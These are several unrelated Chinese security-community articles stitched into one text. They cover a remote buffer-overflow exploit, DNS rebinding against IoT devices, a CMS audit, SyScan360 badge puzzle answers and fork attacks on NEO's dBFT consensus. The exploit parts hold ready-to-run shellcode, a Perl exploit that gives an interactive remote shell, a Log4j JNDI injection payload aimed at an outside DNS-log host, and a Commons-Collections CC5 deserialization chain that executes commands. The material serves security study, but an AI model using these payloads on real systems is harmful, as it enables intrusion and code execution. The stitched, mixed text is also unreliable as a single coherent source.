mov qword rdi, 0x68732f6e69622f2f ; "//bin/sh"
push rdi ; command
push rsp
pop rdi
push rdx ;env
pop rsi ;args
mov al, 0x3b ;EXEC (rax=0x4b) rdi="/bin/sh" rsi=rdx=
syscall
对于不太容易理解的地方，我已经添加了相应的注释。同时，你可能也注意到了，代码里使用了许多的push/pop指令，这是因为一个PUSH/POP指令对占用2个字节，而MOV
R1，R2指令则需要占用3个字节。虽然这会代码变得非常丑，但是却能节约一些空间…实际上也没有节约太多的地方，所以也算不上一个好主意。无论如何，您可以随意改进它，并欢迎在评论中发布您自己的版本。
**生成Shellcode**
现在，我们需要生成相应的shellcode，同时，其格式必须适合将其发送到远程服务器才行。为此，我们首先需要编译代码，然后从编译的文件中提取机器代码。编译代码非常简单，具体如下所示：
nasm -f elf64 -o rsh.o rsh.asm
当然，从目标文件中获取二进制数据的方法有很多。我们这里使用的方法是生成具有易于添加到Perl或C程序中的格式的字符串。
for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n 'x'$i; done;echo
上面的两个命令将产生以下shellcode：
x48x31xc0x50x50x50x5ex5ax50x5fxb0x20x0fx05x48xffxc8x50x5fxb0x21x0fx05x48xffxc6x48x89xf0x3cx02x75xf2x52x48xbfx2fx2fx62x69x6ex2fx73x68x57x54x5fx52x5exb0x3bx0fx05
接下来，我们就需要开始编写漏洞利用代码了。
**漏洞利用代码**
目前为止，我们已经搭设了一个带有远程利用漏洞的系统。同时，也了解了如何在低安全环境中利用缓冲区溢出漏洞，并生成了一个用于在远程系统上运行的shellcode。现在我们需要一个漏洞利用代码，把所有这些整合起来，从而获得我们梦寐以求的远程shell。
当然，编写漏洞利用代码的语言有很多，不过这里选用的是自己最熟悉的Perl。
我们的漏洞利用代码具体如下所示：
#!/usr/bin/perl
use IO::Select;
use IO::Socket::INET;
$|=1;
print "Remote Exploit Example";
print "by 0x00pf for 0x00sec :)nn";
# You may need to calculate these magic numbers for your system
$addr = "x10xddxffxffxffx7fx00x00";
$off = 264;
# Generate the payload
$shellcode = "x48x31xc0x50x50x50x5ex5ax50x5fxb0x20x0fx05x48xffxc8x50x5fxb0x21x0fx05x48xffxc6x48x89xf0x3cx02x75xf2x52x48xbfx2fx2fx62x69x6ex2fx73x68x57x54x5fx52x5exb0x3bx0fx05";
$nops = $off - length $shellcode;
$payload = "x90" x $nops . $shellcode . $addr;
$plen = length $payload;
$slen = length $shellcode;
print "SLED $nops Shellcode: $slen Payload size: $plenn";
# Connect
my $socket = new IO::Socket::INET (
PeerHost => '127.0.0.1',
PeerPort => '9000',
Proto => 'tcp',
);
# Set up select for asynchronous read from the server
$sel = IO::Select->new( $socket );
$sel->add(*STDIN);
# Exploit!
$socket->send ($payload);
$socket->recv ($trash,1024);
$timeout = .1;
$flag = 1; # Just to show a prompt
# Interact!
while (1) {
if (@ready = $sel->can_read ($timeout)) {
foreach $fh (@ready) {
$flag =1;
if($fh == $socket) {
$socket->recv ($resp, 1024);
print $resp;
}
else { # It is stdin
$line = <STDIN>;
$socket->send ($line);
}
}
}
else { # Show the prompt whenever everything's been read
print "0x00pf]> " if ($flag);
$flag = 0;
}
}
漏洞利用代码的开头部分几乎是标准式的。接下来，根据您利用gdb找出的魔法数字来生成payload（请注意，在您的系统中这些数字可能会有所不同，这样的话，这个漏洞利用代码，在您的系统中，可能就会无法正常工作）。
然后，我们必须针对自己的远程shell进行一些额外的工作。使用直接和反向shell时，一旦漏洞利用代码执行完毕，我们通常需要使用另一个程序/模块连接到远程机器，或接收来自远程机器的连接。为此，可以使用netcat或您喜欢的渗透测试平台，甚至是自己专门编写的工具…
但是，就本地而言，我们将使用已建立的连接来访问shell，这个连接就是之前用来发送payload的那个。所以我添加了一些代码，用来从stdin读取命令，并将它们发送到远程服务器，同时也从远程shell读取数据。这些都是些标准的网络代码，实在是没有什么特别之处。
现在，你可以尝试一下这个可以获取远程shell的漏洞利用代码了！
**小结**
在本文中，我们讨论了一种巧妙地技术，可以隐秘地获取shell来远程访问易受攻击的服务器，并且不需要跟系统提供的套接字API打交道。这使得shellcode的开发变得更简单，也使其更简洁（例如，你可以跟<http://shell-storm.org/shellcode/files/shellcode-858.php2>提供的代码比较一番。
欢迎各位改进这个shellcode，并在评论中发布自己的版本。此外，如果有人想尝试在安全功能被激活情况下的漏洞利用的话，可以：
重新激活ASLR（你已经知道如何做了）
禁用堆栈的执行权限（删除-zexecstack标志或使用execstack工具）
重新激活堆栈保护功能（删除-fno-stackprotector标志）
使用更专业的安全编译选项（使用-DFORTIFY_SOURCE = 2选项进行编译，或使用-O2选项）
使用更加严酷的安全编译选项（使用-O2 -fPIC -pie -fstack-protector-all -Wl，-z，relro，-z，now进行编译） | 社区文章 |
原文：<https://www.netsparker.com/blog/web-security/discovering-hacking-iot-devices-using-web-based-attacks/>
对于DNS重绑定攻击来说，安全社区都已经讨论了20年了；尽管安全研究人员在这方面做出了很大的努力，但是，浏览器供应商仍然没有实现一种稳定的防御方法。不过，据说八年前有人声称已经将这种漏洞降服了，哪曾想，随着新型新攻击手段的出现，此类攻击又重新露出水面。
总的来说，目前黑客攻击手法的发展趋势是，组合多种现有攻击手法，形成新的攻击手段。举例来说，将加密货币钱包打得落花流水的DNS重绑定攻击就是这些新攻击手段中的一个典型例子。
在本文中，我们将为读者介绍普林斯顿大学和加州大学伯克利分校在针对物联网(IOT)设备发动的基于Web的攻击方面的研究，利用这些攻击方法，黑客可以发现、攻击并接管这些物联网设备。该研究发表于2018年8月，所以，目前还是比较新颖的。
## 相关的设备和方法
研究人员的目标是对15个物联网设备进行安全测试。测试时，研究人员发现在这些设备中，只有7个提供了本地HTTP服务器，因此，决定集中研究这些设备。其中包括：Google
Chromecast、Google Home，一台智能电视、一个智能开关以及三个摄像头。
他们使用的攻击方法旨在：
1. 欺骗受害者，让他们访问攻击者所控制的网站
2. 发现受害者本地网络上的IoT设备
3. 使用基于Web的攻击来控制这些物联网设备
## 攻击所需时间
严格来说，这不是一种全新的手法。研究论文引用了之前的研究成果，这些研究发现，攻击者利用这些攻击方法拿下这些设备的平均时间为一分钟。奇怪的是，一项著名的研究结果（[What
You Think You Know About the Web is Wrong](http://time.com/12933/what-you-think-you-know-about-the-web-is-wrong/ "What You Think You Know About the Web
is Wrong")）表明，对于55%的用户来说，通常在一个网站上逗留的时间不会超过15秒。由此看来，大多数用户似乎不会受到物联网漏洞的影响。
然而，在普林斯顿和加州大学伯克利分校的研究中，研究人员显著降低了攻击所需的时间。他们指出，如果使用他们发现的方法，可以更快地发现和访问本地网络中的设备——但是Chrome除外，因为它会缓存DNS请求并“无视”TTL，如果它低于某个阈值的话。需要注意的是，非军事区（DMZ、内部网络、防火墙后面的网络）中的设备通常被认为是安全的，因为用户通常假设外部人员无法访问这些设备。但是，在这项研究中描述的攻击中，攻击者已经获得了访问受害者内部网络中的浏览器的权限！
## HTTP端点的发现
研究人员通过将设备连接到Raspberry
Pi无线接入点来分析这些设备。研究人员观察和分析的数据分组分为两种类型，即发送到设备以及从设备接收的数据分组，以及发送到绑定到每个设备的移动应用和从移动应用接收的分组。分析结果表明，共发现了35个GET请求端点和8个POST请求端点。这些端点的作用在于，在研究的发现阶段识别相应的IP地址。
## 物联网设备的研究阶段
研究人员将这项研究过程分为了两个不同的阶段，即发现设备和获取访问权限阶段：
* 发现设备阶段的目标是在本地网络上查找在浏览器中包含HTML5元素的IoT设备
* 获取访问权限阶段的目标是使用DNS重绑定技术和发现的IP地址拿下HTTP端点
## 发现设备阶段：识别物联网设备
以下是在该研究的发现设备阶段需要采取的步骤：
1. 通过WebRTC获取本地IP地址。
2. 向81端口上相应IP地址范围内的所有IP地址发送请求。由于81端口通常很少使用，因此，处于活动状态的设备会立即使用TCP RST数据包进行响应。对于IP范围内的非活动设备，发送的这些请求数据包将超时。
3. 每个活动IP地址都会接收到在初始阶段使用HTML5为35个GET端点收集的请求。攻击脚本能够根据返回的错误消息来判断相应的IP地址是否与7台设备中的某一台相匹配。
该研究本来打算使用3种不同的操作系统(Windows10、MacOS和Ubuntu）和4种不同的浏览器(Crome、Firefox、Safari、Microsoft
Edge）进行测试。然而，后来发现只有Chrome和Firefox这两款浏览器适合这项研究。所以，Safari和Edge浏览器就被排除在外了，具体原因为（[Web-based Attacks to Discover and Control Local IoT Devices](https://iot-inspector.princeton.edu/iot-sigcomm-18/SIGCOMM_IoT_S_P_2018__Redacted_.pdf
"Web-based Attacks to Discover and Control Local IoT Devices")）：
对于Safari来说，所有的Fetch请求都会超时，因此，攻击脚本认为所有IP地址都处于非活动状态。相反，该脚本可以使用Fetch请求来正确标识Edge上的活动IP地址，但Edge浏览器并没有公开详细的HTML5错误消息。因此，该攻击脚本无法识别Edge上的任何设备。
## 获取访问权限阶段：控制物联网设备
以下是本研究在获取访问权限阶段中所采取的步骤：
1. 受害者访问攻击者控制的域（domain.tld），然后，受害者的浏览器执行在攻击者的站点上发现的恶意JavaScript。这个域仍然解析为攻击者的服务器IP。
2. JavaScript代码请求domain.tld域上的另一项资源，并且该资源是仅存在于攻击者服务器上的一项资源（例如`http://domain.tld/hello.php`上的消息"hello"）。
3. 如果受害者的本地DNS缓存仍然解析为攻击者的远程IP地址，那么/hello.php的查询结果将生成字符串“hello”，然后JavaScript代码将重复步骤2。
4. 但是，如果受害者缓存中的domain.tld过期，则会向攻击者的名称服务器发送一个新的DNS查询。
5. 最终，将返回发现阶段中获得的本地IP地址，而非攻击者的远程IP地址，同时，/hello.php也不会使用字符串“hello”进行回复，而是使用其他内容进行响应，如404错误，从而通知恶意脚本DNS重绑定攻击已得手。
借助于这种攻击方法，恶意脚本能够绕过[同源策略](https://www.netsparker.com/blog/web-security/introducing-same-origin-policy-whitepaper/
"同源策略")，并获得设备上运行的Web应用程序的访问权限。这样，攻击者就可以重新启动Google Chromecast、Google
Home、智能电视和智能交换机设备，并录制视频或音频了。
## 如何防御针对物联网设备的DNS重绑定攻击
研究人员称，用户、浏览器供应商、物联网制造商和DNS提供商都必须采取相应的预防措施，才能够避免[DNS重绑定攻击](https://blog.hacker.af/how-your-ethereum-can-be-stolen-using-dns-rebinding "DNS重绑定攻击")。以下是本研究给出的一些对策：
1. 用户可以在浏览器上禁用WebRTC，从而防止泄露私有IP地址。即使如此，攻击者也可以通过向私有IP范围内的所有*.1地址（路由器地址）发送请求，来发现用户的私有IP地址。
2. 攻击者通常会假定所有IoT设备与受害者的PC具有相同的IP地址范围。用户可以将其家庭路由器的DHCP服务器配置为在另一个子网（如/16）上分配IP地址。
3. 用户可以安装DNSMASQ，它通过从DNS回复中删除RFC1918地址来防止DNS重新绑定。用户还可以使用使用DNSMASQ的OpenWRT路由器。
4. IoT制造商可以控制发送到Web接口的请求中的Host头部。如果它们与RFC1918中规定的私有IP地址不符的话，就阻止其访问。
5. DNS提供商可以使用DNSWall之类的防御机制过滤DNS应答中的私有IP地址。
6. 浏览器供应商可以开发将公共网站的访问限制在私有IP范围内的插件。
## 参考文献
有关本文中讨论的普林斯顿和BC Berkeley研究报告的更多信息，请访问[Web-based Attacks to Discover and
Control Local IoT Devices](https://iot-inspector.princeton.edu/iot-sigcomm-18/SIGCOMM_IoT_S_P_2018__Redacted_.pdf "Web-based Attacks to Discover
and Control Local IoT Devices")。
关于针对本地网络中的应用程序和设备的基于Web的攻击手法的详细信息，请参阅[Vulnerable Web Applications on
Developers' Computers Allow Hackers to Bypass Corporate
Firewalls](https://www.netsparker.com/blog/web-security/vulnerable-web-applications-developers-target/ "Vulnerable Web Applications on Developers'
Computers Allow Hackers to Bypass Corporate Firewalls")。 | 社区文章 |
**0x01 前言**
前两天xz社区的某位师傅，已经分析了该cms。所以本人在该原有发现漏洞的基础上，进行了更深一步挖掘。
该师傅的文章：<https://xz.aliyun.com/t/11137#toc-5>
环境部署不做过多讲解，简单说一下遇到的"坑"：
在该项目的resources配置数据库以及redis。redis和mysql的密码都是通过aes加密的，工具类在：
com.feiqu.common.utils.AESUtil，避免了明文展示密码。
**0x02 Log4j**
首先跟着复现了一波fastjson的反序列化，但是JSON.parseObject无可控点。
第二处，redisString.get这里，是由xz的师傅已经分析过。无利用点。但是在上面中发现了logger.info()。
所以现在测试一下log4j这个洞，可以发现是存在的
public class Test1 {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(logtest.class);
logger.info("${jndi:ldap://17zuzp.dnslog.cn}");
}
}
所以在com.feiqu.web.controller.UserController中home函数的944行，是一个绝佳的利用点
经过测试，在注册的时候填入payload即可。
在根据提供的GetMapping得知url地址为：127.0.0.1:8080/u/12/home。
日志信息
DNSLOG回显如下：
经过在注册的时候，也存在log4j的使用。
payload还是在昵称这里，可以看到前端页面中name对应了FqUser工具类中。
接下来无脑操作打dnslog测试
至于其它的log4j利用点就不找了，相对于该师傅找到的log4j利用点，本人找的两个是比较容易利用的了。
**0x03 collections3反序列化漏洞(失败)**
在包中发现了该组件，这就用到了CC链系列了。这里用CC3版本。因为本人在进行测试CC4版本的时候。其中有些类不能被序列化了~这就凉凉。
直接拿CC5打就行了
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"keykey");
BadAttributeValueExpException POC = new BadAttributeValueExpException(1);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(POC,tiedmap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
objectOutputStream.writeObject(POC);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc5.bin"));
objectInputStream.readObject();
objectInputStream.close();
简单分析一下CC5这条链的过程。
利用链如下：
1 ObjectInputStream.readObject()
2 BadAttributeValueExpException.readObject()
3 TiedMapEntry.toString()
4 LazyMap.get()
5 ChainedTransformer.transform()
6 ConstantTransformer.transform()
7 InvokerTransformer.transform()
8 Method.invoke()
9 Class.getMethod()
10 InvokerTransformer.transform()
11 Method.invoke()
12 Runtime.getRuntime()
13 InvokerTransformer.transform()
14 Method.invoke()
15 Runtime.exec()
前面的不过多讲解，相信大家都能看懂，这是一个命令执行
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
接着往下分析
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"keykey");
LazyMap初始化如下，会将transformerChain存入到factory
之后在LazyMap.get中调用到了transform
那么谁会调用到LazyMap.get呢？
在TiedMapEntry初始化会将LazyMap作为第一个参数传入
所以此时关注有没有map.get方法，这样就会调用到LazyMap.get方法
又又又一个问题，TiedMapEntry.getValue()谁会调用？
而利用链中写到了，TiedMapEntry.toString()，其实toString调用了getValue()，从而调用到LazyMap.get方法
谁会调用TiedMapEntry.toString()？这里通过反射，将val设置为了TiedMapEntry(tiedmap)
BadAttributeValueExpException POC = new BadAttributeValueExpException(1);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(POC,tiedmap);
最后在readObject的时候，执行了toString方法。
但是在最后，只找到了一处readObject，所以说这个漏洞是失败的...
至于后续SQL注入的话，找了好几个，但参数都不可控，也就放弃了。 | 社区文章 |
# SyScan360 2015胸卡破解题目详解
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
跟往年一样，syscan胸卡破解大赛一直是历年syscan360的一大亮点，今年有近150人破解了今年入場的電子胸卡(Day
1)，胸卡外观是这样的，上面打了360UnicornTeam的logo，（btw，其实应该把独角兽换成杨卿同学的帅脸） (*^__^*) 嘻嘻……
图1.syscan360 2015胸卡
小编拿到今年的syscan胸卡之后，也没有改掉一直以来手贱的坏毛病，于是开始尝试跟着当一次破解侠！
**图2.小编拿到syscan360 2015胸卡**
******下面小编就分享一下破解胸卡的各个题目的解说**
****
**图3.小编尝试破解syscan360 2015胸卡**
*********************************************万恶的分割线*********************************************
****
**Day 1 胸卡破解**
**1\. 编码转换**
Q
53797363616E333630
Hint
ascii
看到一串熟悉的数字首先想到数字有什么逻辑?若沒有逻辑可能是某种编码方式。
尝试不同的编码方式,可以知道只有在ASCII编码的状态下,数字才有意义。
翻译的答案是SyScan360
**2\. 攻击手法**
Q
"><script>alert('WHOAMI');</script><" -> ?
Hint:
"1' OR '1'='1"; -> SQLInjection
A:
XSS
安全人员,必须具备辨识与了解各种攻击手法攻击手法,
这个攻击字串是最常见的网页XSS攻击,目的是在网页中植入非预期的代码并执行。
答案便是XSS
**
**
**3\. 数字模式**
Q
4846796 -> ?
Hint
3549329 ->
9954332
2567232 ->
7653222
Ans
9876644
一串数字 沒有任何提示,一开始仅能盲猜。
错误几次之后才得到两个提示。
从提示中推理规则,可以发现目的是把数字由大排到小
因此答案是 9876644
**4\. 领域转换**
Question:
['0011', '0011', '0100', '0101', ?, ?, ?, ?, '0001', '0001', '0010', '0011',
'0011', '0010', '0010']
-> ?
Hint:
['0101', '0011', '0011', '0100', '0010', '0010', ?, ?, ?, ?, '0101', '0101',
'0101']
-> '0001', '0010', '0011', '0100'
许多时候思考问题必须跳脱既有的领域,到其他地方去搜索答案。
看到一排二进位数值,第一件事就是尝试赋予其意义。
但发现转字元可能不太对,因此转数字出来看看。
转出来后得到
3, 3, 4, 5, ?, ?, ? ,? , 1, 1, 2, 3, 3, 2, 2
数字的意义若不是很清楚,不过可以用搜索引擎找下,
发现符合规律的只有音乐的简谱。
推出此为欢乐颂的谱,因此填上空白的音符, 5.4.3.2,并转二进位得到答案
**5\. 编码转换**
Question:
!DDD DaDaDa DaD DDa Da DDa
Hint:
DiDaDi DiDaDi DiDaDi (D is D or Di ?)
感叹号通常在程序里作为 “非”的意思,因此主要猜测 Di, Da, Di 是种什么样的编码方式。
美国人萨缪尔•摩尔斯发明的摩斯密码,正是用长短音来做为文字的编码方式。
比如 . _ 为编码后的 A 。
这个编码方式也能用语音来表达, 以 D 表示长音的 “_” , Da(h) 表示短音的 “.”
配合反向,意旨 D 实际为 Da, Da 反而为 D。
再反查编码表即可得到答案。
本题每人的题目与答案都是随机产生的。
**6\. 数字系统与算数逻辑**
Q
J1F + CC = ?
Hint
EF0 + GD1 = 1B81
14H9 + H2D = 2202
F3J + DH3 = 1912
2B9 + E32 = GEB
D44 + 586 = ICA
H0B + CB9 = 19C0
4B0 + 13B3 = 1823
12J + 135D = 148C
C + HEI = HFA
看到题目是两个项目相加,首先得猜测这是符号系统还是其他系统。
多试几次可以取得 Hint,发现也是一连串的项目相加。
分析其中最大的字元仅到 J 。
在数字系统中,我们用A,B,C…等英文字母表达大于9的数。
比如 0A 表示 16进位中的 10.
按此推估这可能是 20 进位的数字系统。
依此逻辑验算下方的式子,证明猜想是正确之后,便可以20 Base 的数字运算进行解题。
此题也是每个人的题目答案不同
**Day 2 限时胸卡破解赛**
本届SyScan360第二天的胸卡破解赛采用限时赛制,类似于炸弹拆解,参会者需在时限内破解三道题。比赛按照第一天参会者胸卡破解的顺序,依序上场尝试破解,答对题目会有时间奖励,答错会有时间惩罚,时间到则失败下场换人重解。考量到参会者在时间压力下可能无法正常发挥,今年出的题目较为容易,大部分都是基本的逻辑与简单的数学计算,并将破解时限设短,平均每題需在两分钟内解出,让更多参会者享受比赛的乐趣。
题目主要分为三部分,第一部分有三题,第二部分两题,第三部分一题,每部分各随机由胸卡出一题作为破解题目。所有题目详解如下:
**第一部分:**
1.
UryybJbeyq -> HelloWorld
VUnpxGurersberVNz -> ?????????????????
此题为rot13加密,意即英文前13字母与后13字母相调换,大小写不变。此种加密法在过去曾经被报社用来针对敏感的报导或文章内容进行加密,来增加读者阅读报纸的乐趣。答案为IHackThereforeIAm
2.
12MIAY -> 12MonthsInAYear
365DIAY -> 365DaysInAYear
8BIAB -> ???????????
此题为英文中著名的游戏Quantagories,利用题目最前面的数字与后面的大写字母为单字首猜测出整串英文句。在国外曾被拿来做为头脑清醒程度的测试。答案为8BitsInAByte
3.
min(1,14) -> 2, min(5,9) -> 10, min(16,2) -> 4
max(4,10) -> 20, max(8,3) -> 16, max(4,1) -> 8
min(min(17,25),max(??,10)) -> 56
此题为破解两个函数黑盒。min函数一般而言是取几个数中的最小数,max则是取最大数。参会者需按此逻辑来推理这两个函数黑盒对数字做了什么变化后进行输出。按照题意可推理为取出数乘以2后输出(e.g.
min(1,14)取出1,然后乘以2故输出为2)。如此使用函数可解出最后的答案为14。
**
**
**第二部分:**
1.
chemistry(2(1*2) + 1(16*2)) -> chemistry(2(1*2+16*1))
chemistry(1(12*6+1*12+16*6) + 6(16*2)) -> chemistry(6(?????????) +
6(1*2+16*1))
化学应用题。题目原本是基本的化学平衡式2H2 + O2 -> 2H2O(氫与氧反应生成水)。而要解的题目则是C6H12O6 + 6O2 -> 6? +
6H2O。单看化学式可得知是呼吸反应,答案是二氧化碳CO2,题目将原子量转为数字来表达。此题如果解者对化学不熟,也可使用数学的方式来平衡解题,一样有机会找出答案。惟答案的字元顺序需按照化学式来表示。解答为12*1+16*2
2.
multiply(18172) -> 112
multiply(19414) -> 144
multiply(49322) -> 432
multiply(37135) -> 315
multiply(????5) -> 175
此题是基础推理。题目的本意是将multiply函数中的五个数相乘可得到相对应的输出(e.g. 1*8*1*7*2 =
112)。因此参赛者只要对175进行因式分解,即可得到5*5*7。又透过观察得知函数输出的三个数字即为输入的第一、第三、第五个数字,可推断答案为1?7?5。继续观察发现前面提示中第二数比第四数大,因此答案为15715
**
**
**第三部分:**
ABCDEFGH —X
1 1x1001x1
2 123×2322
3 01xxx2x1
4 0123232x
5 2xx002x2
6 xx101xx3
7 23x11xx2
8 01x11x21
|
|
Y
find x = 4
XY -> ??
此题为最后把关题,故意没有将题目描述写的很详细。其实这是Windows著名的游戏扫雷,地雷区x为警告数字或地雷,警告数字为提示其附近的九宫格内有多少地雷。参赛者要通过推理猜出地雷区x下警告数字为4的位置。答案为F6。
看完题目的说明后应该可以明白本次比赛的题目不难但又同时兼具多元化的性质。我们曾经找过非程式开发人员来尝试解题,约在15分钟左右可以全部正确解完。 | 社区文章 |
作者：Zhiniang Peng from Qihoo 360 Core Security
来源：[360 Technology Blog](http://blogs.360.cn/post/NEO_dBFT.html "360
Technology Blog")
在NEO采用dBFT机制实现共识节点之间的“拜占庭容错”，并在NEO白皮书中描述恶意共识节点小于1/3的时候，该共识机制能够保证系统的安全性和可用性。我们经过研究发现，目前NEO的dBFT机制仅能保证诚实的共识节点之间达成共识。但共识节点之间不存在分叉，并不意味着全网不会存在分叉。NEO目前对dBFT共识机制的实现还不满足
`f = 「floor (n-1) / 3)」` 的拜占庭容错性质。
### NEO dBFT共识机制简介
NEO区块链是一个分布式的智能合约平台。NEO实现了一种委托的拜占庭容错共识算法，它借鉴了一些 PoS 的特点（NEO持有人需要对共识节点进行投票）
利用最小的资源来保障网络免受拜占庭故障的影响，同时也弥补了 PoS 的一些问题。dBFT对由n个共识节点组成的共识系统，提供 `f = 「floor
(n-1) / 3)」` 的容错能力，这种容错能力同时包含安全性和可用性，并适用于任何网络环境。
NEO dBFT共识机制可以详细见NEO官方共识机制白皮书：
* <http://docs.neo.org/zh-cn/basic/consensus/whitepaper.html> (中文版)
* <http://docs.neo.org/en-us/basic/consensus/whitepaper.html> (英文版)
### 拜占庭将军问题和区块链
拜占庭位于如今的土耳其的伊斯坦布尔，是东罗马帝国的首都。由于当时拜占庭罗马帝国国土辽阔，为了防御目的，因此每个军队都分隔很远，将军与将军之间只能靠信差传消息。
在战争的时候，拜占庭军队内所有将军和副官必需达成一致的共识，决定是否有赢的机会才去攻打敌人的阵营。但是，在军队内有可能存有叛徒和敌军的间谍，左右将军们的决定又扰乱整体军队的秩序。在进行共识时，结果并不代表大多数人的意见。这时候，在已知有成员谋反的情况下，其余忠诚的将军在不受叛徒的影响下如何达成一致的协议，拜占庭问题就此形成。PBFT算法，是解决拜占庭将军问题的一个经典算法。
区块链是一种去中心化的分布式账本系统，它可以用于登记和发行数字化资产、产权凭证、积分等，并以点对点的方式进行转账、支付和交易。区块链技术最早是由中本聪在一个密码学的邮件列表中提出的，也就是比特币。此后，基于区块链技术的各种应用纷纷出现，比如基于区块链的电子现金系统、基于区块链的股权交易系统、基于区块链的智能合约系统等。区块链系统与传统的中心化账本系统相比，具有完全公开、不可篡改、防止多重支付等优点，并且不依赖于任何的可信第三方。然而，和任何分布式系统一样，区块链系统会面临网络延迟、传输错误、软件错误、安全漏洞、黑客入侵等问题。此外，去中心化的特点决定了此系统的任何一个参与者都不能被信任，可能会出现恶意节点，以及因各方利益不一致导致的数据分歧等问题。为了防范这些潜在的错误，区块链系统需要一个高效的共识机制来确保每一个节点都有一个唯一公认的全局账本。传统的针对某些特定问题的容错方法，并不能完全解决分布式系统以及区块链系统的容错问题，人们需要一种能够容忍任何种类错误的容错方案。
### NEO区块链共识机制细节
采用了拜占庭容错委托（dBFT）作为共识机制（ <http://docs.neo.org/en-us/basic/consensus/consensus.html>
）。全网中的NEO节点分为两类节点：一类为共识记点，负责和其他共识记点之间进行共识通讯，产生新的区块；另外一类为普通节点，不参与共识，但能够验证和接受新的区块。共识节点由全网用户通过投票产生。NEO节点提出dBFT的背后思想是：PBFT算法能够很好的解决分布式节点的共识问题，但是PBFT共识参与节点数量越大性能就会越低。采用投票选取出相对较小数量的共识节点内部进行PBFT共识生成新区块，然后将该新区块发布到全网中达成全网共识。NEO共识节点之间，产生新区块的正常共识流程如下：
1. 开启共识的节点分为两大类，非记账人和记账人节点，非记账人的不参与共识，记账人参与共识流程
2. 选择议长，Neo议长产生机制是根据当前块高度和记账人数量做MOD运算得到，议长实际上按顺序当选
3. 节点初始化，议长为primary节点，议员为backup节点。
4. 满足出块条件后议长发送PrepareRequest
5. 议员收到请求后，验证通过签名发送PrepareResponse
6. 记账节点接收到PrepareResponse后，节点保存对方的签名信息，检查如果超过三分之二则发送 block
7. 节点接收到block，PersistCompleted事件触发后整体重新初始化，
为了防止恶意的共识节点或议长，保证系统的安全性和可靠性，NEO提出changeview机制进一步增强dBFT的安全性。当节点 `i` 在经过
`2^{v+1}.t` 的时间间隔后仍未达成共识，或接收到包含非法交易的提案后，开始进入视图更换流程：
1. 令 `k = 1` , `v_{k} = v + k`
2. 节点 `i` 发出视图更换请求 `〈ChangeView, h, v, i, v_{k}〉`
3. 任意节点收到至少 `n-f` 个来自不同 `i` 的相同 `v_{k}` 后，视图更换达成，令 `v = v_{k}` 并开始共识；
4. 如果在经过 `2^{v+1}.t` 的时间间隔后，视图更换仍未达成，则`k`递增并回到第 2 步； NEO共识节点总体流程如图：
### dBFT共识机制问题分析
dBFT的核心思想，是想通过选举出的共识节点通过pBFT协议达成共识，从而产生全网的共识。这看上去是一个很好的思路，但由于dBFT和pBFT中，共识节点为非共识节点提供服务的模型不一样。在pBFT中，非共识节点（客户端节点）需要收到至少f+1个共识节点的相同的执行结果，从而获得服务结果。而dBFT中，非共识节点需要获得一个由至少2f+1个共识节点共同签名的block。dBFT的拜占庭容错，不能想当然的从pBFT中得出。证明一个共识协议的安全性，需要严谨的证明。
在分析网络协议安全性的一个重要的前提是，网络是一个复杂的环境，我们不能保证先发去的包一定先到达。这是网络协议之所以复杂的原因。下面我们给出两个反例，证明dBFT无法提供
`f = 「floor (n-1) / 3)」` 的拜占庭容错。
#### 攻击案例1：
假设7个节点A1 A2 A3 A4 A5 A6
A7。其中议长A1和A2是恶意节点(小于1/3节点数)，同时A1担任本轮议长。A1生成block1发送PrepareRequest(block1)给A2
A3 A4，同时生成block2发送PrepareRequest(block2)给A5 A6 A7。当大家都收到PrepareRequest消息后。A2
A3 A4会返回PrepareRespone(block1)消息，A5 A6
A7会返回PrepareRespone(block2)消息。此时，Block1和Block2的签名已经在网络上公开4个。网络还未达成共识，还需进一步协商，最终生成的共识区块未定。但此时恶意节点A2实际上可以产生block2的签名（他自己手上能有5个block2的签名），故A2有能力在网络中产生一个分叉。dBFT在该攻击案例下，无法实现拜占庭容错(2个恶意节点)。
#### 攻击案例2：
假设7个节点A1 A2 A3 A4 A5 A6 A7。 其中A2为恶意节点(只有一个恶意节点)。
假设A1当选本轮议长，由于大量交易处理或其他网络原因，A1产生了延迟。并在临界timeout的事件发送一个block1出去。其中 A5 A6 A7
刚刚好在限定时间内收到并完全整个block1验证，回复了签名。 A2 A3
A4还没有收到这个block1。此时，按照dBFT协议，timeout时间到，所有人将要求change view。 刚好，change
view的包，比Block1提前到达了A2 A3 A4处。大家达成了change view的共识。然后进行下一个view阶段。 如果在此阶段，A2 A3
A4收到了block1，但是view和议长已经改变了，他们并不会接受block1。那么大家会进入下一轮，产生block2。
Block2生产过程一切正常，A3 A4 A5 A6 A7几个诚实的节点达成了共识。 但是此时，A2拥有Block1的5个签名。它能够构造Block1.
由此，A2可以在网络中产生了一个分叉。dBFT在该攻击案例下，无法实现拜占庭容错(1个恶意节点)。
